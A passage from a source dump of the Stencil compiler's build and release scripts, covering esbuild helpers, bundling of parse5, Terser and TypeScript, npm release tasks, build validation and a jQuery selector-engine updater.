build targets with minimal supported browser versions * @see https://stenciljs.com/docs/support-policy#browser-support * @returns an array of build targets */ export function getEsbuildTargets(): string[] { return ['node16', 'chrome79', 'edge79', 'firefox70', 'safari14']; } /** * Alias and mark a module as external at the same time * * @param moduleId the module ID to alias and externalize * @param resolveToPath the path to which imports of the module should be rewritten * @returns an Esbuild plugin */ export function externalAlias(moduleId: string, resolveToPath: string): Plugin { return { name: 'externalAliases', setup(build) { build.onResolve({ filter: new RegExp(`^${moduleId}$`) }, () => { return { path: resolveToPath, external: true, }; }); }, }; } /** * Extract the first {@link OutputFile} record from an Esbuild * {@link BuildResult}. This _may_ not be present, so in order to guarantee * type safety this function throws if such an `OutputFile` cannot be found. * * @throws if no `OutputFile` can be found. * @param buildResult the Esbuild build result in which to look * @returns the OutputFile */ export function getFirstOutputFile(buildResult: ESBuildResult): OutputFile { const bundle = buildResult.outputFiles?.[0]; if (!bundle) { throw new Error('Could not find an output file in the BuildResult!'); } return bundle; } ================================================ FILE: scripts/esbuild/utils/parse5.ts ================================================ import rollupCommonjs from '@rollup/plugin-commonjs'; import rollupResolve from '@rollup/plugin-node-resolve'; import fs from 'fs-extra'; import { join } from 'path'; import { rollup } from 'rollup'; import type { BuildOptions } from '../../utils/options'; import { aliasPlugin } from './alias-plugin'; /** * Bundles parse5 to be used in the Stencil output. Writes the results to disk and returns its contents. The file * written to disk may be used as a simple cache to speed up subsequent build times. * @param opts the options being used during a build of the Stencil compiler * @returns a tuple holding 1) contents of the file containing parse5 and 2) the file path where it's written */ export async function bundleParse5(opts: BuildOptions): Promise<[contents: string, path: string]> { const fileName = `parse5-${opts.parse5Version.replace(/\./g, '_')}-bundle-cache${opts.isProd ? '.min' : ''}.js`; const cacheFile = join(opts.scriptsBuildDir, fileName); try { return [await fs.readFile(cacheFile, 'utf8'), cacheFile]; } catch (e) {} const rollupBuild = await rollup({ input: '@parse5-entry', plugins: [ { name: 'parse5EntryPlugin', /** * A rollup build hook for resolving @parse5-entry [Source](https://rollupjs.org/guide/en/#resolveid) * @param id the importee exactly as it is written in an import statement in the source code * @returns a string that resolves an import to some id */ resolveId(id: string): string | null { if (id === '@parse5-entry') { return id; } return null; }, /** * A rollup build hook for intercepting how parse5's entry package is processed * [Source](https://rollupjs.org/guide/en/#load) * @param id the path of the module to load * @returns source code to act as a proxy for @parse5-entry */ load(id: string): string | null { if (id === '@parse5-entry') { return `export { parse, parseFragment } from 'parse5';`; } return null; }, }, aliasPlugin(opts), rollupResolve(), rollupCommonjs(), ], }); const { output } = await rollupBuild.generate({ format: 'iife', name: 'PARSE5', footer: ['export const parse = PARSE5.parse;', 'export const parseFragment = PARSE5.parseFragment;'].join('\n'), strict: false, }); let code = output[0].code; const { minify } = await import('terser'); if (opts.isProd) { const minified = await minify(code, { ecma: 2018, module: true, compress: { ecma: 2018, passes: 2, }, format: { ecma: 2018, comments: false, }, }); if (minified.code) { code = minified.code; } } code = `// Parse5 ${opts.parse5Version}\n` + code; await fs.writeFile(cacheFile, code); return [code, cacheFile]; } ================================================ FILE: scripts/esbuild/utils/terser.ts ================================================ import fs from 'fs-extra'; import { join } from 'path'; import { rollup } from 'rollup'; import type { BuildOptions } from '../../utils/options'; /** * Creates a bundle containing Terser * @param opts the options being used during a build * @returns a tuple containing the bundled Terser code and the path where it * was written */ export async function bundleTerser(opts: BuildOptions): Promise<[content: string, path: string]> { if (!opts.terserVersion) { throw new Error('Terser version not set on build opts!'); } const fileName = `terser-${opts.terserVersion.replace(/\./g, '_')}-bundle-cache${opts.isProd ? '.min' : ''}.js`; const cacheFile = join(opts.scriptsBuildDir, fileName); try { const content = await fs.readFile(cacheFile, 'utf8'); return [content, cacheFile]; } catch (e) {} const rollupBuild = await rollup({ input: join(opts.nodeModulesDir, 'terser', 'main.js'), external: ['source-map'], }); const { output } = await rollupBuild.generate({ format: 'es', strict: false, }); let code = output[0].code; const { minify } = await import('terser'); if (opts.isProd) { const minified = await minify(code, { ecma: 2018, compress: { ecma: 2018, passes: 2, }, format: { ecma: 2018, comments: false, }, }); if (minified.code) { code = minified.code; } } code = `// Terser ${opts.terserVersion}\n` + code; await fs.writeFile(cacheFile, code); return [code, cacheFile]; } ================================================ FILE: scripts/esbuild/utils/typescript-source.ts ================================================ import fs from 'fs-extra'; import { join } from 'path'; import type { BuildOptions } from '../../utils/options'; /** * Bundles the TypeScript compiler in the Stencil output. This function also performs several optimizations and * modifications to the TypeScript source. * @param tsPath a path to the TypeScript compiler * @param opts the options being used during a build of the Stencil compiler * @returns the modified TypeScript source */ export async function bundleTypeScriptSource(tsPath: string, opts: BuildOptions): Promise { const cacheFile = tsCacheFilePath(opts); try { // check if we've already cached this bundle return await fs.readFile(cacheFile, 'utf8'); } catch (e) {} // get the source typescript.js file to modify let code = await fs.readFile(tsPath, 'utf8'); // As of 5.0, because typescript is now bundled with esbuild the structure of // the file we're dealing with here (`lib/typescript.js`) has changed. // Previously there was an iife which got an object as an argument and just // stuck properties onto it, something like // // ```js // var ts = (function (ts) { // ts.someMethod = () => { ... }; // })(ts || ts = {}); // ``` // // as of 5.0 it instead looks (conceptually) something like: // // ```js // var ts = (function () { // const ts = {} // const define = (name, value) => { // Object.defineProperty(ts, name, value, { enumerable: true }) // } // define('someMethod', () => { ... }) // return ts; // })(); // ``` // // Note that the call to `Object.defineProperty` does not set `configurable` to `true` // (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#description) // which means that later calls to do something like // // ```ts // import ts from 'typescript'; // // ts.someMethod = function myReplacementForSomeMethod () { // ... // }; // ``` // // will fail because without `configurable: true` you can't re-assign // properties. // // All well and good, except for the fact that our patching of typescript to // use for instance the in-memory file system depends on us being able to // monkey-patch typescript in exactly this way. So in order to retain our // current approach to patching TypeScript we need to edit this file in order // to add `configurable: true` to the options passed to // `Object.defineProperty`: const TS_PROP_DEFINER = `__defProp(target, name, { get: all[name], enumerable: true });`; const TS_PROP_DEFINER_RECONFIGURABLE = `__defProp(target, name, { get: all[name], enumerable: true, configurable: true });`; code = code.replace(TS_PROP_DEFINER, TS_PROP_DEFINER_RECONFIGURABLE); const jestTypesciptFilename = join(opts.scriptsBuildDir, 'typescript-modified-for-jest.js'); await fs.writeFile(jestTypesciptFilename, code); // TODO(STENCIL-839): investigate minification issue w/ typescript 5.0 // const { minify } = await import('terser'); // if (opts.isProd) { // const minified = await minify(code, { // ecma: 2018, // // module: true, // compress: { // ecma: 2018, // passes: 2, // }, // format: { // ecma: 2018, // comments: false, // }, // }); // code = minified.code; // } await fs.writeFile(cacheFile, code); return code; } /** * Get the file path to which the cached, modified version of TypeScript will * be written * * @param opts build options for the current Stencil build * @returns the path where the modified TypeScript source can be found */ export function tsCacheFilePath(opts: BuildOptions): string { const fileName = `typescript-${opts.typescriptVersion.replace(/\./g, '_')}-bundle-cache${ opts.isProd ? '.min' : '' }.js`; const cacheFile = join(opts.scriptsBuildDir, fileName); return cacheFile; } ================================================ FILE: scripts/index.ts ================================================ import { join } from 'path'; import * as build from './build'; // This path is relative to the final location of the compiled script, not its TypeScript source const stencilProjectRoot = join(__dirname, '..'); const args = process.argv.slice(2); build.run(stencilProjectRoot, args); ================================================ FILE: scripts/release-tasks.ts ================================================ import color from 'ansi-colors'; import Listr, { ListrTask } from 'listr'; import { buildAll } from './build'; import { BuildOptions } from './utils/options'; import { isPrereleaseVersion, isValidVersionInput, SEMVER_INCREMENTS, updateChangeLog } from './utils/release-utils'; /** * We have to wrap `execa` in a promise to ensure it works with `Listr`. `Listr` uses rxjs under the hood which * seems to have issues with `execa`'s `ResultPromise` as it never resolves a task. * @param command command to run * @param args arguments to pass to the command * @param options `execa` options * @returns a promise that resolves with the stdout and stderr of the command */ async function execa(command: string, args: string[], options?: any) { /** * consecutive imports are cached and don't have an impact on the execution speed */ const { execa: execaOrig } = await import('execa'); return new Promise<{ stdout: string; stderr: string }>((resolve, reject) => { const run = execaOrig(command, args, options); run.then( ({ stdout, stderr }) => resolve({ stdout: stdout as unknown as string, stderr: stderr as unknown as string, }), (err) => reject(err), ); }); } /** * Runs a litany of tasks used to ensure a safe release of a new version of Stencil * @param opts build options containing the metadata needed to release a new version of Stencil * @param args stringified arguments used to influence the release steps that are taken */ export async function runReleaseTasks(opts: BuildOptions, args: ReadonlyArray): Promise { const rootDir = opts.rootDir; const pkg = opts.packageJson; const tasks: ListrTask[] = []; const newVersion = opts.version; const isDryRun = args.includes('--dry-run') || opts.version.includes('dryrun'); let tagPrefix: string; if (isDryRun) { console.log(color.bold.yellow(`\n 🏃‍ Dry Run!\n`)); } if (!opts.isPublishRelease) { /** * For automated and manual releases, always verify that the version provided to the release scripts is a valid * semver 'word' (e.g. 'major', 'minor', etc.) or version (e.g. 1.0.0) */ tasks.push({ title: 'Validate version', task: () => { if (!isValidVersionInput(opts.version)) { throw new Error(`Version should be either ${SEMVER_INCREMENTS.join(', ')}, or a valid semver version.`); } }, skip: () => isDryRun, }); } if (opts.isPublishRelease) { tasks.push({ title: 'Check for pre-release version', task: () => { if (!pkg.private && isPrereleaseVersion(newVersion) && !opts.tag) { throw new Error( 'You must specify a dist-tag using --tag when publishing a pre-release version. This prevents accidentally tagging unstable versions as "latest". https://docs.npmjs.com/cli/dist-tag', ); } }, }); } tasks.push({ /** * When we both pre-release and release, it's beneficial to ensure that the tag does not already exist in git. * Doing so ought to catch out of the ordinary circumstances that ought to be investigated. */ title: 'Check git tag existence', task: () => execa('git', ['fetch']) // Retrieve the prefix for a version string - https://docs.npmjs.com/cli/v7/using-npm/config#tag-version-prefix .then(() => execa('npm', ['config', 'get', 'tag-version-prefix'])) .then( ({ stdout }) => (tagPrefix = stdout), () => {}, ) // verify that a tag for the new version string does not already exist by checking the output of // `git rev-parse --verify` .then(() => execa('git', ['rev-parse', '--quiet', '--verify', `refs/tags/${tagPrefix}${newVersion}`])) .then( ({ stdout }) => { if (stdout) { throw new Error(`Git tag \`${tagPrefix}${newVersion}\` already exists.`); } }, (err) => { // Command fails with code 1 and no output if the tag does not exist, even though `--quiet` is provided // https://github.com/sindresorhus/np/pull/73#discussion_r72385685 if (err.stdout !== '' || err.stderr !== '') { throw err; } }, ), skip: () => isDryRun, }); tasks.push( { title: `Install npm dependencies ${color.dim('(npm ci)')}`, task: () => execa('npm', ['ci'], { cwd: rootDir }), // for pre-releases, this step will occur in GitHub after the PR has been created. // for actual releases, we'll need to build + bundle stencil in order to publish it to npm. skip: () => !opts.isPublishRelease, }, { title: `Transpile Stencil ${color.dim('(tsc.prod)')}`, task: () => execa('npm', ['run', 'tsc.prod'], { cwd: rootDir }), // for pre-releases, this step will occur in GitHub after the PR has been created. // for actual releases, we'll need to build + bundle stencil in order to publish it to npm. skip: () => !opts.isPublishRelease, }, { title: `Bundle @stencil/core ${color.dim('(' + opts.buildId + ')')}`, task: () => buildAll(opts), // for pre-releases, this step will occur in GitHub after the PR has been created. // for actual releases, we'll need to build + bundle stencil in order to publish it to npm. skip: () => !opts.isPublishRelease, }, ); if (!opts.isPublishRelease) { tasks.push( { title: `Set package.json version to ${color.bold.yellow(opts.version)}`, task: async () => { // use `--no-git-tag-version` to ensure that the tag for the release is not prematurely created await execa('npm', ['version', '--no-git-tag-version', opts.version], { cwd: rootDir }); }, }, { title: `Generate ${opts.version} Changelog ${opts.vermoji}`, task: async () => { await updateChangeLog(opts); }, }, ); } if (opts.isPublishRelease) { tasks.push( { title: 'Publish @stencil/core to npm', task: () => { const cmd = 'npm'; const cmdArgs = ['publish'].concat(opts.tag ? ['--tag', opts.tag] : []).concat(['--provenance']); if (isDryRun) { return console.log(`[dry-run] ${cmd} ${cmdArgs.join(' ')}`); } return execa(cmd, cmdArgs, { cwd: rootDir }); }, }, { title: 'Tagging the latest git commit', task: () => { const cmd = 'git'; const cmdArgs = ['tag', `v${opts.version}`]; if (isDryRun) { return console.log(`[dry-run] ${cmd} ${cmdArgs.join(' ')}`); } return execa(cmd, cmdArgs, { cwd: rootDir }); }, }, { title: 'Pushing git tags', task: () => { const cmd = 'git'; const cmdArgs = ['push', '--tags']; if (isDryRun) { return console.log(`[dry-run] ${cmd} ${cmdArgs.join(' ')}`); } return execa(cmd, cmdArgs, { cwd: rootDir }); }, }, ); } const listr = new Listr(tasks); try { await listr.run(); } catch (err: any) { console.log(`\n🤒 ${color.red(err)}\n`); console.log(err); process.exit(1); } if (opts.isPublishRelease) { console.log( `\n ${opts.vermoji} ${color.bold.magenta(pkg.name)} ${color.bold.yellow(newVersion)} published!! ${ opts.vermoji }\n`, ); } else { console.log( `\n ${opts.vermoji} ${color.bold.magenta(pkg.name)} ${color.bold.yellow( newVersion, )} prepared, check the diffs and commit ${opts.vermoji}\n`, ); } } ================================================ FILE: scripts/release.ts ================================================ import color from 'ansi-colors'; import fs from 'fs-extra'; import { join } from 'path'; import { runReleaseTasks } from './release-tasks'; import { BuildOptions, getOptions } from './utils/options'; import { getNewVersion } from './utils/release-utils'; import { getLatestVermoji } from './utils/vermoji'; /** * Runner for creating a release of Stencil * @param rootDir the root directory of the Stencil repository * @param args stringified arguments used to influence the release steps that are taken * @returns a void promise */ export async function release(rootDir: string, args: ReadonlyArray): Promise { const buildDir = join(rootDir, 'build'); if (args.includes('--ci-prepare')) { await fs.emptyDir(buildDir); const prepareOpts = getOptions(rootDir, { isCI: true, isPublishRelease: false, isProd: true, }); const versionIdx = args.indexOf('--version'); if (versionIdx === -1 || versionIdx === args.length) { console.log(`\n${color.bold.red('No `--version [VERSION]` argument was found. Exiting')}\n`); process.exit(1); } if (prepareOpts.packageJson.version) { prepareOpts.version = getNewVersion(prepareOpts.packageJson.version, args[versionIdx + 1]); } await prepareRelease(prepareOpts, args); console.log(`${color.bold.blue('Release Prepared!')}`); } if (args.includes('--ci-publish')) { const prepareOpts = getOptions(rootDir, { isCI: true, isPublishRelease: false, isProd: true, }); // this was bumped already, we just need to copy it from package.json into this field if (prepareOpts.packageJson.version) { prepareOpts.version = prepareOpts.packageJson.version; } // we generated a vermoji during the preparation step, let's grab it from the changelog prepareOpts.vermoji = getLatestVermoji(prepareOpts.changelogPath); const tagIdx = args.indexOf('--tag'); let newTag = null; if (tagIdx === -1 || tagIdx === args.length) { console.log(`\n${color.bold.yellow('No `--tag [TAG]` argument was found.')}\n`); } else if (args[tagIdx + 1] === 'use_pkg_json_version') { console.log( `\n${color.bold.green( 'The default package.json version will be used for the tag. No additional tags will be applied.', )}\n`, ); } else { newTag = args[tagIdx + 1]; console.log(`\n${color.bold.green(`Set '--tag' argument to '${newTag}'.`)}\n`); } console.log(`${color.bold.blue(`Version: ${prepareOpts.version}`)}`); console.log(`${color.bold.blue(`Tag: ${newTag}`)}`); const publishOpts = getOptions(rootDir, { buildId: prepareOpts.buildId, version: prepareOpts.version, vermoji: prepareOpts.vermoji, isCI: prepareOpts.isCI, isPublishRelease: true, isProd: true, tag: newTag ?? undefined, }); return await publishRelease(publishOpts, args); } } /** * Prepares a release of Stencil * @param opts build options containing the metadata needed to release a new version of Stencil * @param args stringified arguments used to influence the release steps that are taken */ async function prepareRelease(opts: BuildOptions, args: ReadonlyArray): Promise { const pkg = opts.packageJson; const oldVersion = opts.packageJson.version; console.log( `\nPrepare to publish ${opts.vermoji} ${color.bold.magenta(pkg.name)} ${color.dim(`(currently ${oldVersion})`)}\n`, ); try { await runReleaseTasks(opts, args); } catch (err: any) { console.log('\n', color.red(err), '\n'); process.exit(0); } } /** * Initiates publishing a Stencil release. * @param opts build options containing the metadata needed to publish a new version of Stencil * @param args stringified arguments used to influence the steps that are taken * @returns a void promise */ async function publishRelease(opts: BuildOptions, args: ReadonlyArray): Promise { const pkg = opts.packageJson; if (opts.version !== pkg.version) { throw new Error( `Prepare release data (${opts.version}) and package.json (${pkg.version}) versions do not match. Try re-running release prepare.`, ); } console.log(`\nPublish ${opts.vermoji} ${color.bold.magenta(pkg.name)} ${color.yellow(`${opts.version}`)}\n`); try { await runReleaseTasks(opts, args); } catch (err: any) { console.log('\n', color.red(err), '\n'); process.exit(0); } } ================================================ FILE: scripts/test/copy-readme.js ================================================ /** * This script copies a supplemental README file to the location where it will be overwritten * during the `docs-readme` output target test. The purpose of this step is to ensure that * the file is in a known state before the test runs, avoiding issues with Git detecting * unexpected changes to the file. * * Context: * - During the `docs-readme` tests, a README file is overwritten as part of the test process. * - The expected result of the test must be tracked by Git; otherwise, Git will detect a "dirty" * state and the test will fail. * - This behaviour can be used to our advantage: if the file is overwritten with the supplemental * file but not overwritten back to the expected result, Git will detect a dirty state, causing * the test to fail. This ensures that the correct action is taken by the code being tested. * * Usage: * - This script is executed as part of the `prepare.readmes` npm script. * - It copies `readme-supplemental.md` to `readme.md` in the appropriate directory. */ const fs = require('fs'); const path = require('path'); // Define source and destination paths const src = path.resolve( __dirname, '../../test/docs-readme/custom-readme-output-overwrite/components/styleurls-component/readme-supplemental.md', ); const dest = path.resolve( __dirname, '../../test/docs-readme/custom-readme-output-overwrite/components/styleurls-component/readme.md', ); // Copy the file try { fs.copyFileSync(src, dest); console.log(`Copied ${src} to ${dest}`); } catch (err) { console.error(`Error copying file: ${err.message}`); process.exit(1); } ================================================ FILE: scripts/test/validate-build.ts ================================================ import fs from 'fs-extra'; import { dirname, join, relative } from 'path'; import { rollup } from 'rollup'; import ts, { ModuleResolutionKind, ScriptTarget } from 'typescript'; import url from 'url'; import { NODE_BUILTINS } from '../utils/constants'; import { BuildOptions, getOptions } from '../utils/options'; import { PackageData } from '../utils/write-pkg-json'; /** * Used to triple check that the final build files * ready to be published are good to go */ const pkgs: TestPackage[] = [ { // cli packageJson: 'cli/package.json', }, { // compiler packageJson: 'compiler/package.json', files: ['compiler/lib.d.ts', 'compiler/lib.dom.d.ts'], }, { // dev-server packageJson: 'dev-server/package.json', files: [ 'dev-server/static/favicon.ico', 'dev-server/templates/directory-index.html', 'dev-server/templates/initial-load.html', 'dev-server/connector.html', 'dev-server/server-process.js', 'dev-server/server-worker-thread.js', 'dev-server/visualstudio.vbs', 'dev-server/xdg-open', ], }, { // internal/app-data packageJson: 'internal/app-data/package.json', }, { // internal/client packageJson: 'internal/client/package.json', files: ['internal/client/polyfills/'], }, { // internal/hydrate packageJson: 'internal/hydrate/package.json', files: ['internal/hydrate/runner.d.ts', 'internal/hydrate/runner.js'], }, { // internal/testing packageJson: 'internal/testing/package.json', }, { // internal packageJson: 'internal/package.json', files: [ 'internal/stencil-core/index.cjs', 'internal/stencil-core/index.js', 'internal/stencil-core/index.d.ts', 'internal/stencil-ext-modules.d.ts', 'internal/stencil-private.d.ts', 'internal/stencil-public-compiler.d.ts', 'internal/stencil-public-docs.d.ts', 'internal/stencil-public-runtime.d.ts', ], }, { // mock-doc packageJson: 'mock-doc/package.json', }, { // screenshot packageJson: 'screenshot/package.json', files: [ 'screenshot/compare/', 'screenshot/connector.js', 'screenshot/local-connector.js', 'screenshot/pixel-match.js', ], }, { // sys/node packageJson: 'sys/node/package.json', files: ['sys/node/autoprefixer.js', 'sys/node/graceful-fs.js', 'sys/node/node-fetch.js'], }, { // testing packageJson: 'testing/package.json', files: [ 'testing/jest-environment.js', 'testing/jest-preprocessor.js', 'testing/jest-preset.js', 'testing/jest-runner.js', 'testing/jest-setuptestframework.js', ], }, { // @stencil/core packageJson: 'package.json', packageJsonFiles: [ 'bin/', 'cli/', 'compiler/', 'dev-server/', 'internal/', 'mock-doc/', 'screenshot/', 'sys/', 'testing/', ], files: ['CHANGELOG.md', 'LICENSE.md', 'readme.md'], hasBin: true, }, ]; /** * Validate that certain files were written to disk during the build, and that * these files tree-shake correctly. * * @param rootDir the root of the Stencil repository */ export async function validateBuild(rootDir: string): Promise { const dtsEntries: string[] = []; const opts = getOptions(rootDir); pkgs.forEach((testPkg) => { validatePackage(opts, testPkg, dtsEntries); }); console.log(`🐡 Validated packages`); validateDts(opts, dtsEntries); await validateCompiler(opts); await validateTreeshaking(opts); } /** * Validates a bundled package/sub-module. Validation steps include verifying that various fields in `package.json` are * filled out and file references are valid. * @param opts build options to be used to validate a package * @param testPkg the package to validate * @param dtsEntries a reference to .d.ts files to collect while validating the package */ function validatePackage(opts: BuildOptions, testPkg: TestPackage, dtsEntries: string[]): void { const rootDir = opts.rootDir; if (testPkg.packageJson) { testPkg.packageJson = join(rootDir, testPkg.packageJson); const pkgDir = dirname(testPkg.packageJson); const pkgJson: PackageData = require(testPkg.packageJson); if (!pkgJson.name) { throw new Error('missing package.json name: ' + testPkg.packageJson); } if (!pkgJson.main) { throw new Error('missing package.json main: ' + testPkg.packageJson); } if (testPkg.packageJsonFiles) { if (!Array.isArray(pkgJson.files)) { throw new Error(testPkg.packageJson + ' missing "files" property'); } pkgJson.files.forEach((f) => { if (f === '!**/*.map' || f === '!**/*.stub.ts' || f === '!**/*.stub.tsx') { // skip sourcemaps, stub files return; } const pkgFile = join(pkgDir, f); fs.accessSync(pkgFile); }); testPkg.packageJsonFiles.forEach((testPkgFile) => { if (!pkgJson.files?.includes(testPkgFile)) { throw new Error(testPkg.packageJson + ' missing file ' + testPkgFile); } const filePath = join(pkgDir, testPkgFile); fs.accessSync(filePath); }); } if (testPkg.hasBin && !pkgJson.bin) { throw new Error(testPkg.packageJson + ' missing bin'); } if (pkgJson.bin) { Object.keys(pkgJson.bin).forEach((k) => { if (pkgJson.bin?.[k]) { const binExe = join(pkgDir, pkgJson.bin[k]); fs.accessSync(binExe); } }); } const mainIndex = join(pkgDir, pkgJson.main); fs.accessSync(mainIndex); if (pkgJson.module) { const moduleIndex = join(pkgDir, pkgJson.module); fs.accessSync(moduleIndex); } if (pkgJson.browser) { const browserIndex = join(pkgDir, pkgJson.browser); fs.accessSync(browserIndex); } if (pkgJson.types) { const pkgTypes = join(pkgDir, pkgJson.types); fs.accessSync(pkgTypes); dtsEntries.push(pkgTypes); } } if (testPkg.files) { testPkg.files.forEach((file) => { const filePath = join(rootDir, file); fs.statSync(filePath); }); } } /** * Validate the .d.ts files used in the output are semantically and syntactically correct * @param opts build options to be used to validate .d.ts files * @param dtsEntries the .d.ts files to validate */ function validateDts(opts: BuildOptions, dtsEntries: string[]): void { const program = ts.createProgram(dtsEntries, { baseUrl: '.', paths: { '@stencil/core/mock-doc': [join(opts.rootDir, 'mock-doc', 'index.d.ts')], '@stencil/core/internal': [join(opts.rootDir, 'internal', 'index.d.ts')], '@stencil/core/internal/testing': [join(opts.rootDir, 'internal', 'testing', 'index.d.ts')], }, moduleResolution: ModuleResolutionKind.NodeJs, target: ScriptTarget.ES2016, }); const tsDiagnostics = program.getSemanticDiagnostics().concat(program.getSyntacticDiagnostics()); if (tsDiagnostics.length > 0) { const host = { getCurrentDirectory: () => ts.sys.getCurrentDirectory(), getNewLine: () => ts.sys.newLine, getCanonicalFileName: (f: string) => f, }; throw new Error('🧨 ' + ts.formatDiagnostics(tsDiagnostics, host)); } console.log(`🐟 Validated dts files`); } /** * Validates the Stencil compiler. This includes verifying that the compiler, CLI and sys API can be instantiated, * smoke testing the compiler's transpilation, and running a small task in the CLI. * @param opts build options to be used to validate the compiler */ async function validateCompiler(opts: BuildOptions): Promise { const compilerPath = url.pathToFileURL(join(opts.output.compilerDir, 'stencil.js')).pathname; const cliPath = url.pathToFileURL(join(opts.output.cliDir, 'index.cjs')).pathname; const sysNodePath = url.pathToFileURL(join(opts.output.sysNodeDir, 'index.js')).pathname; const compiler = await import(compilerPath); const cli = await import(cliPath); const sysNodeApi = await import(sysNodePath); const nodeLogger = sysNodeApi.createNodeLogger(); const nodeSys = sysNodeApi.createNodeSys({ process }); if (!nodeSys || nodeSys.name !== 'node' || nodeSys.version.length < 4) { throw new Error(`🧨 unable to validate sys node`); } console.log(`🐳 Validated sys node, current ${nodeSys.name} version: ${nodeSys.version}`); const validated = await compiler.loadConfig({ config: { logger: nodeLogger, sys: nodeSys, }, }); console.log(`${compiler.vermoji} Validated compiler: ${compiler.version}`); const transpileResults = compiler.transpileSync('const m: string = `transpile!`;', { target: 'es5', }); if ( !transpileResults || transpileResults.diagnostics.length > 0 || !transpileResults.code.startsWith(`var m = "transpile!";`) ) { console.error(transpileResults); throw new Error(`🧨 transpileSync error`); } console.log(`🐋 Validated compiler.transpileSync()`); const orgConsoleLog = console.log; let loggedVersion = ''; console.log = (value: string) => (loggedVersion = value); // this runTask is intentionally not wrapped in telemetry helpers await cli.runTask(compiler, validated.config, 'version'); console.log = orgConsoleLog; if (typeof loggedVersion !== 'string' || loggedVersion.length < 4) { throw new Error(`🧨 unable to validate compiler. loggedVersion: "${loggedVersion}"`); } console.log(`🐬 Validated cli`); } /** * Validate tree shaking for various modules in the output * @param opts build options to be used to validate tree-shaking */ async function validateTreeshaking(opts: BuildOptions) { await validateModuleTreeshake(opts, 'app-data', join(opts.output.internalDir, 'app-data', 'index.js')); await validateModuleTreeshake(opts, 'client', join(opts.output.internalDir, 'client', 'index.js')); await validateModuleTreeshake(opts, 'patch-browser', join(opts.output.internalDir, 'client', 'patch-browser.js')); await validateModuleTreeshake(opts, 'shadow-css', join(opts.output.internalDir, 'client', 'shadow-css.js')); await validateModuleTreeshake(opts, 'hydrate', join(opts.output.internalDir, 'hydrate', 'index.js')); await validateModuleTreeshake(opts, 'stencil-core', join(opts.output.internalDir, 'stencil-core', 'index.js')); await validateModuleTreeshake(opts, 'cli', join(opts.output.cliDir, 'index.js')); } /** * Validates tree-shaking for a single module & entrypoint * @param opts build options to be used to validate tree-shaking for a specific module * @param moduleName the module to validate * @param entryModulePath the entrypoint to validate */ async function validateModuleTreeshake(opts: BuildOptions, moduleName: string, entryModulePath: string): Promise { // this is a song, 'agadoo' by Black Lace const virtualInputId = `@g@doo`; const entryId = `@entry-module`; const outputFile = join(opts.scriptsBuildDir, `treeshake_${moduleName}.js`); const bundle = await rollup({ external: NODE_BUILTINS, input: virtualInputId, treeshake: { moduleSideEffects: false, }, plugins: [ { name: 'stencilResolver', resolveId(id) { if (id === '@stencil/core/internal/client' || id === '@stencil/core') { return join(opts.output.internalDir, 'client', 'index.js'); } if (id === '@stencil/core/internal/app-data') { return join(opts.output.internalDir, 'app-data', 'index.js'); } if (id === '@stencil/core/internal/app-globals') { return id; } if (id === virtualInputId) { return id; } if (id === entryId) { return entryModulePath; } }, load(id) { if (id === '@stencil/core/internal/app-globals') { return 'export const globalScripts = () => {};\nexport const globalStyles = "";'; } if (id === virtualInputId) { return `import "${entryId}";`; } }, }, ], onwarn(warning) { if (warning.code !== 'EMPTY_BUNDLE') { throw warning; } }, }); const o = await bundle.generate({ format: 'es', }); const output = o.output[0]; const outputCode = output.code.trim(); await fs.writeFile(outputFile, outputCode); if (outputCode !== '') { console.error(`\nTreeshake output: ${outputFile}\n`); throw new Error(`🧨 Not all code was not treeshaken (treeshooken? treeshaked?)`); } console.log(`🌳 validated treeshake: ${relative(opts.rootDir, entryModulePath)}`); } /** * Represents a package/submodule of the bundled Stencil output to validate */ interface TestPackage { packageJson?: string; packageJsonFiles?: string[]; files?: string[]; hasBin?: boolean; } ================================================ FILE: scripts/test/validate-testing.js ================================================ const testing = require('../../testing/index.js'); const input = ` import { Component, Prop } from '@stencil/core'; @Component({ tag: 'my-cmp' }) export class MyCmp { @Prop() prop: boolean; } `; const output = testing.transpile(input); if (output.diagnostics.length > 0) { const msg = output.diagnostics.map((d) => d.messageText).join('\n'); throw new Error('Testing transpile error: \n' + msg); } console.log(`🐠 Validated testing suite`); ================================================ FILE: scripts/tsconfig.json ================================================ { "compilerOptions": { "alwaysStrict": true, "strict": true, "allowSyntheticDefaultImports": true, "esModuleInterop": true, "forceConsistentCasingInFileNames": true, "lib": [ "dom", "es2021" ], "module": "NodeNext", "moduleResolution": "nodenext", "skipLibCheck": true, "outDir": "build/", "pretty": true, "target": "ES2020", "incremental": false, "useUnknownInCatchVariables": true }, "include": [ "**/*.ts", "types/*.d.ts" ], "exclude": [ "**/*.spec.ts" ] } ================================================ FILE: scripts/types/rollup-plugin-node-resolve.d.ts ================================================ declare module '@rollup/plugin-node-resolve'; ================================================ FILE: scripts/updateSelectorEngine.ts ================================================ import cp from 'node:child_process'; import fs from 'node:fs/promises'; import path from 'node:path'; /** * This script updates the JQuery selector engine for the mock-doc package * to the latest version. * * To run it, use the following command: * ```sh * npm run tsc.scripts * npm run build.updateSelectorEngine * ``` */ const rootDir = path.resolve(__dirname, '..'); const jqueryDepDir = path.resolve(rootDir, 'node_modules', 'jquery'); const WINDOW_MOCK = `{ document: { createElement() { return {}; }, nodeType: 9, documentElement: { nodeType: 1, nodeName: 'HTML' } } }`; async function run() { console.log('updating JQuery Selector engine...'); await runCommand(`npm install --ignore-scripts`, jqueryDepDir); await runCommand(`npm run build -- --include=selector`, jqueryDepDir); const jqueryPkgJSON = JSON.parse(await fs.readFile(path.resolve(jqueryDepDir, 'package.json'), 'utf8')); const thirdPartyDir = path.resolve(__dirname, '../../src/mock-doc/third-party'); await fs.mkdir(thirdPartyDir, { recursive: true }); const originalContent = await fs.readFile(path.resolve(jqueryDepDir, 'dist', 'jquery.js'), 'utf8'); /** * This is a hack to make the jQuery selector engine work with the mock-doc package. * Using the original jQuery bundle would cause a "RegExpCompiler Allocation failed - process out of memory" * error due to the way the jQuery object is constructed. The following tweaks to the jQuery bundle * resolve the issue: */ const fixedJQuery = originalContent /** * Never run the short-circuiting code due to usage of too many RegExp objects */ .replace('if ( !seed ) {', 'if ( false ) {') /** * Make jQuery an object to have it garbage collected */ .replace('var version = "', `const jQuery = {} as { find: Function };\nvar version = "`) /** * Inject window mock directly into iife */ .replace(`typeof window !== "undefined" ? window : this`, WINDOW_MOCK) /** * Rename the original jQuery function to jQueryOrig */ .replace('jQuery = function( selector, context ) {', 'jQueryOrig = function( selector, context ) {') /** * Replace use of 